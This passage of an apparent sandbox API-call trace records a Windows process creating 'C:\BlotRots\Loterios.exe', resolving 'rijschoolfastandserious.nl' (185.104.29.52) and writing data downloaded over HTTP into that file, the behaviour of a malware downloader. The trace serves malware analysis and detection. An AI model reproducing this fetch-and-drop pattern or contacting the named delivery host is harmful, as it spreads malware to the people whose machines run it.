ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4e198 | out: TokenHandle=0x5bfed4e198*=0x778) returned 1 [0198.220] GetCurrentProcess () returned 0xffffffffffffffff [0198.220] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4e198 | out: TokenHandle=0x5bfed4e198*=0x790) returned 1 [0198.247] GetCurrentProcess () returned 0xffffffffffffffff [0198.247] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4dea8 | out: TokenHandle=0x5bfed4dea8*=0x78c) returned 1 [0198.301] GetCurrentProcess () returned 0xffffffffffffffff [0198.301] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4deb8 | out: TokenHandle=0x5bfed4deb8*=0x7a0) returned 1 [0198.322] GetFullPathNameW (in: lpFileName="C:\\BlotRots\\Loterios.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0198.322] GetFullPathNameW (in: lpFileName="C:\\BlotRots\\Loterios.exe", nBufferLength=0x19, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\BlotRots\\Loterios.exe", lpFilePart=0x0) returned 0x18 [0198.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e590) returned 1 [0198.322] CreateFileW (lpFileName="C:\\BlotRots\\Loterios.exe" (normalized: "c:\\blotrots\\loterios.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x788 [0198.323] GetFileType (hFile=0x788) returned 0x1 [0198.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e500) returned 1 [0198.323] GetFileType (hFile=0x788) returned 0x1 [0198.328] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x7a4 [0198.328] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x79c [0198.351] GetCurrentProcess () returned 0xffffffffffffffff [0198.352] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4dee8 | out: TokenHandle=0x5bfed4dee8*=0x7a8) returned 1 [0198.358] GetCurrentProcess () returned 0xffffffffffffffff [0198.358] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4def8 | out: TokenHandle=0x5bfed4def8*=0x798) returned 1 [0198.380] QueryPerformanceCounter (in: lpPerformanceCount=0x5bfed4e5f8 | out: lpPerformanceCount=0x5bfed4e5f8*=29436826229) returned 1 [0198.392] GetCurrentProcess () returned 0xffffffffffffffff [0198.392] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4dde8 | out: TokenHandle=0x5bfed4dde8*=0x7ac) returned 1 [0198.398] GetCurrentProcess () returned 0xffffffffffffffff [0198.398] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4ddf8 | out: TokenHandle=0x5bfed4ddf8*=0x780) returned 1 [0198.433] GetCurrentProcess () returned 0xffffffffffffffff [0198.433] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4de48 | out: TokenHandle=0x5bfed4de48*=0x77c) returned 1 [0198.438] GetCurrentProcess () returned 0xffffffffffffffff [0198.438] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4de58 | out: TokenHandle=0x5bfed4de58*=0x7b0) returned 1 [0198.449] GetCurrentProcess () returned 0xffffffffffffffff [0198.449] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4e3a8 | out: TokenHandle=0x5bfed4e3a8*=0x784) returned 1 [0198.463] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4c3b8 | out: phkResult=0x5bfed4c3b8*=0x7b4) returned 0x0 [0198.463] RegQueryValueExW (in: hKey=0x7b4, lpValueName="InstallationType", lpReserved=0x0, lpType=0x5bfed4c408, lpData=0x0, lpcbData=0x5bfed4c400*=0x0 | out: lpType=0x5bfed4c408*=0x1, lpData=0x0, lpcbData=0x5bfed4c400*=0xe) returned 0x0 [0198.463] RegQueryValueExW (in: hKey=0x7b4, lpValueName="InstallationType", lpReserved=0x0, lpType=0x5bfed4c408, lpData=0x1ef00809c28, lpcbData=0x5bfed4c400*=0xe | out: lpType=0x5bfed4c408*=0x1, lpData="Client", lpcbData=0x5bfed4c400*=0xe) returned 0x0 [0198.463] RegCloseKey (hKey=0x7b4) returned 0x0 [0198.529] CoTaskMemAlloc (cb=0xcd0) returned 0x1ef704c7550 [0198.531] RasEnumConnectionsW (in: param_1=0x1ef704c7550, param_2=0x5bfed4e360, param_3=0x5bfed4e368 | out: param_1=0x1ef704c7550, param_2=0x5bfed4e360, param_3=0x5bfed4e368) returned 0x0 [0198.600] CoTaskMemFree (pv=0x1ef704c7550) [0198.606] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5bfed4e0a8 | out: lpWSAData=0x5bfed4e0a8) returned 0 [0198.611] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x80c [0198.618] setsockopt (s=0x80c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0198.618] closesocket (s=0x80c) returned 0 [0198.618] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x80c [0198.619] setsockopt (s=0x80c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0198.619] closesocket (s=0x80c) returned 0 [0198.620] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x80c [0198.621] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x810 [0198.625] ioctlsocket (in: s=0x80c, cmd=-2147195266, argp=0x5bfed4e388 | out: argp=0x5bfed4e388) returned 0 [0198.625] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x814 [0198.626] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x818 [0198.626] ioctlsocket (in: s=0x814, cmd=-2147195266, argp=0x5bfed4e388 | out: argp=0x5bfed4e388) returned 0 [0198.627] WSAIoctl (in: s=0x80c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x5bfed4e310, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x5bfed4e310, lpOverlapped=0x0) returned -1 [0198.629] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x5bfed4def0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0198.631] WSAEventSelect (s=0x80c, hEventObject=0x810, lNetworkEvents=512) returned 0 [0198.631] WSAIoctl (in: s=0x814, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x5bfed4e310, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x5bfed4e310, lpOverlapped=0x0) returned -1 [0198.631] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x5bfed4def0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0198.632] WSAEventSelect (s=0x814, hEventObject=0x818, lNetworkEvents=512) returned 0 [0198.632] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x820 [0198.633] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x820, param_3=0x3) returned 0x0 [0198.639] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x5bfed4e3e8 | out: phkResult=0x5bfed4e3e8*=0x838) returned 0x0 [0198.640] RegOpenKeyExW (in: hKey=0x838, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4e328 | out: phkResult=0x5bfed4e328*=0x83c) returned 0x0 [0198.640] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x840 [0198.640] RegNotifyChangeKeyValue (hKey=0x83c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x840, fAsynchronous=1) returned 0x0 [0198.641] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4e330 | out: phkResult=0x5bfed4e330*=0x844) returned 0x0 [0198.641] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x848 [0198.641] RegNotifyChangeKeyValue (hKey=0x844, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x848, fAsynchronous=1) returned 0x0 [0198.641] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4e330 | out: phkResult=0x5bfed4e330*=0x84c) returned 0x0 [0198.641] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x850 [0198.641] RegNotifyChangeKeyValue (hKey=0x84c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x850, fAsynchronous=1) returned 0x0 [0198.642] GetCurrentProcess () returned 0xffffffffffffffff [0198.642] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4e2b8 | out: TokenHandle=0x5bfed4e2b8*=0x854) returned 1 [0198.645] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4d3f8 | out: phkResult=0x5bfed4d3f8*=0x858) returned 0x0 [0198.648] RegQueryValueExW (in: hKey=0x858, lpValueName="LegacyWPADSupport", lpReserved=0x0, lpType=0x5bfed4d438, lpData=0x0, lpcbData=0x5bfed4d430*=0x0 | out: lpType=0x5bfed4d438*=0x0, lpData=0x0, lpcbData=0x5bfed4d430*=0x0) returned 0x2 [0198.648] RegCloseKey (hKey=0x858) returned 0x0 [0198.659] WinHttpOpen (pszAgentW=0x0, dwAccessType=0x1, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x1ef704bf6f0 [0198.675] WinHttpSetTimeouts (hInternet=0x1ef704bf6f0, nResolveTimeout=60000, nConnectTimeout=60000, nSendTimeout=60000, nReceiveTimeout=60000) returned 1 [0198.676] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x5bfed4e330 | out: pProxyConfig=0x5bfed4e330) returned 1 [0198.724] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_Disabled", lpBuffer=0x5bfed4d400, nSize=0xbc | out: lpBuffer="") returned 0x0 [0198.724] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_MinCount", lpBuffer=0x5bfed4d400, nSize=0xbc | out: lpBuffer="") returned 0x0 [0198.729] EtwEventRegister () returned 0x0 [0198.729] EtwEventSetInformation () returned 0x0 [0198.739] GetCurrentProcess () returned 0xffffffffffffffff [0198.739] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4ddb8 | out: TokenHandle=0x5bfed4ddb8*=0x898) returned 1 [0198.743] GetCurrentProcess () returned 0xffffffffffffffff [0198.743] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4ddc8 | out: TokenHandle=0x5bfed4ddc8*=0x89c) returned 1 [0198.760] SetEvent (hEvent=0x7a4) returned 1 [0198.794] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x5bfed4e0d0*=0x820, lpdwindex=0x5bfed4dea4 | out: lpdwindex=0x5bfed4dea4) returned 0x80010115 [0198.796] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x5bfed4e080*=0x810, lpdwindex=0x5bfed4de54 | out: lpdwindex=0x5bfed4de54) returned 0x80010115 [0198.796] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x5bfed4e080*=0x818, lpdwindex=0x5bfed4de54 | out: lpdwindex=0x5bfed4de54) returned 0x80010115 [0198.797] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x5bfed4e150*=0x840, lpdwindex=0x5bfed4df24 | out: lpdwindex=0x5bfed4df24) returned 0x80010115 [0198.797] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x5bfed4e150*=0x848, lpdwindex=0x5bfed4df24 | out: lpdwindex=0x5bfed4df24) returned 0x80010115 [0198.797] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x5bfed4e150*=0x850, lpdwindex=0x5bfed4df24 | out: lpdwindex=0x5bfed4df24) returned 0x80010115 [0198.815] GetCurrentProcess () returned 0xffffffffffffffff [0198.815] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4dc98 | out: TokenHandle=0x5bfed4dc98*=0x8b4) returned 1 [0198.818] GetCurrentProcess () returned 0xffffffffffffffff [0198.818] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4dca8 | out: TokenHandle=0x5bfed4dca8*=0x8b8) returned 1 [0198.820] SetEvent (hEvent=0x7a4) returned 1 [0198.843] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x5bfed4e318 | out: pFixedInfo=0x0, pOutBufLen=0x5bfed4e318) returned 0x6f [0198.878] LocalAlloc (uFlags=0x0, uBytes=0x258) returned 0x1ef6e3ced80 [0198.878] GetNetworkParams (in: pFixedInfo=0x1ef6e3ced80, pOutBufLen=0x5bfed4e318 | out: pFixedInfo=0x1ef6e3ced80, pOutBufLen=0x5bfed4e318) returned 0x0 [0198.890] LocalFree (hMem=0x1ef6e3ced80) returned 0x0 [0198.901] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_Disabled", lpBuffer=0x5bfed4d260, nSize=0xbc | out: lpBuffer="䢠灎ǯ") returned 0x0 [0198.901] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_MinCount", lpBuffer=0x5bfed4d260, nSize=0xbc | out: lpBuffer="䢠灎ǯ") returned 0x0 [0198.937] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x8f8 [0198.940] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x8d0 [0198.942] GetAddrInfoW (in: pNodeName="rijschoolfastandserious.nl", pServiceName=0x0, pHints=0x5bfed4e158*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x5bfed4e0a0 | out: ppResult=0x5bfed4e0a0*=0x1ef70496070*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="rijschoolfastandserious.nl", ai_addr=0x1ef703a7130*(sa_family=2, sin_port=0x0, sin_addr="185.104.29.52"), ai_next=0x0)) returned 0 [0198.972] FreeAddrInfoW (pAddrInfo=0x1ef70496070*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="rijschoolfastandserious.nl", ai_addr=0x1ef703a7130*(sa_family=2, sin_port=0x0, sin_addr="185.104.29.52"), ai_next=0x0)) [0198.976] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x900 [0198.976] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x908 [0198.976] ioctlsocket (in: s=0x900, cmd=-2147195266, argp=0x5bfed4e0c8 | out: argp=0x5bfed4e0c8) returned 0 [0198.976] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x90c [0198.977] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x910 [0198.977] ioctlsocket (in: s=0x90c, cmd=-2147195266, argp=0x5bfed4e0c8 | out: argp=0x5bfed4e0c8) returned 0 [0198.977] WSAIoctl (in: s=0x900, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x5bfed4e050, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x5bfed4e050, lpOverlapped=0x0) returned -1 [0198.977] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x5bfed4dc30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0198.977] WSAEventSelect (s=0x900, hEventObject=0x908, lNetworkEvents=512) returned 0 [0198.977] WSAIoctl (in: s=0x90c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x5bfed4e050, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x5bfed4e050, lpOverlapped=0x0) returned -1 [0198.977] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x5bfed4dc30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0198.977] WSAEventSelect (s=0x90c, hEventObject=0x910, lNetworkEvents=512) returned 0 [0198.978] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x5bfed4e0b8*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x5bfed4e0b8*=0x968) returned 0x6f [0198.984] LocalAlloc (uFlags=0x0, uBytes=0x968) returned 0x1ef7049ab10 [0198.984] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x1ef7049ab10, SizePointer=0x5bfed4e0b8*=0x968 | out: AdapterAddresses=0x1ef7049ab10*(Alignment=0x2000001c0, Length=0x1c0, IfIndex=0x2, Next=0x1ef7049ae30, AdapterName="{2652C480-CA61-47C1-B39D-5A150292CCF3}", FirstUnicastAddress=0x1ef7049ad80, FirstAnycastAddress=0x0, FirstMulticastAddress=0x0, FirstDnsServerAddress=0x0, DnsSuffix="", Description="Intel(R) 82574L Gigabit Network Connection #2", FriendlyName="Ethernet 2", PhysicalAddress=([0]=0x0, [1]=0x22, [2]=0x67, [3]=0x7, [4]=0x22, [5]=0x99, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x1c5, DdnsEnabled=0x1c5, RegisterAdapterSuffix=0x1c5, Dhcpv4Enabled=0x1c5, ReceiveOnly=0x1c5, NoMulticast=0x1c5, Ipv6OtherStatefulConfig=0x1c5, NetbiosOverTcpipEnabled=0x1c5, Ipv4Enabled=0x1c5, Ipv6Enabled=0x1c5, Ipv6ManagedAddressConfigurationSupported=0x1c5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x2, ZoneIndices=([0]=0x2, [1]=0x2, [2]=0x2, [3]=0x2, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0x19, Ipv6Metric=0x19, Luid=0x6008002000000, Dhcpv4Server.lpSockaddr=0x1ef7049acd0*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11e7933cfae992b0, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x23, [5]=0x7d, [6]=0xeb, [7]=0x9, [8]=0x7c, [9]=0x4a, [10]=0x82, [11]=0x56, [12]=0xb9, [13]=0x2b, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x57c4a82, FirstDnsSuffix=0x0), SizePointer=0x5bfed4e0b8*=0x968) returned 0x0 [0198.996] LocalFree (hMem=0x1ef7049ab10) returned 0x0 [0199.019] WSAConnect (in: s=0x8f8, name=0x1ef0081b048*(sa_family=2, sin_port=0x50, sin_addr="185.104.29.52"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0199.050] closesocket (s=0x8d0) returned 0 [0199.085] send (s=0x8f8, buf=0x1ef0081be08*, len=95, flags=0) returned 95 [0199.110] setsockopt (s=0x8f8, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0199.111] recv (in: s=0x8f8, buf=0x1ef008165a0, len=4096, flags=0 | out: buf=0x1ef008165a0*) returned 4096 [0199.934] setsockopt (s=0x8f8, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0199.934] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 26564 [0199.934] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0082fa60*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5bfed4e598, lpOverlapped=0x0 | out: lpBuffer=0x1ef0082fa60*, lpNumberOfBytesWritten=0x5bfed4e598*=0x1000, lpOverlapped=0x0) returned 1 [0199.936] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081fae3*, nNumberOfBytesToWrite=0x6659, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081fae3*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x6659, lpOverlapped=0x0) returned 1 [0199.936] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 23360 [0199.965] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x5b40, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x5b40, lpOverlapped=0x0) returned 1 [0199.965] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 8760 [0199.965] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x2238, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x2238, lpOverlapped=0x0) returned 1 [0199.966] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 8760 [0199.992] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x2238, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x2238, lpOverlapped=0x0) returned 1 [0199.992] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 5840 [0199.992] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x16d0, lpOverlapped=0x0) returned 1 [0199.993] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 20440 [0200.021] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x4fd8, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x4fd8, lpOverlapped=0x0) returned 1 [0200.021] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 11680 [0200.021] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x2da0, lpOverlapped=0x0) returned 1 [0200.022] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 32120 [0200.073] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x7d78, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x7d78, lpOverlapped=0x0) returned 1 [0200.074] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 17520 [0200.074] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x4470, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x4470, lpOverlapped=0x0) returned 1 [0200.075] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 11680 [0200.098] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, 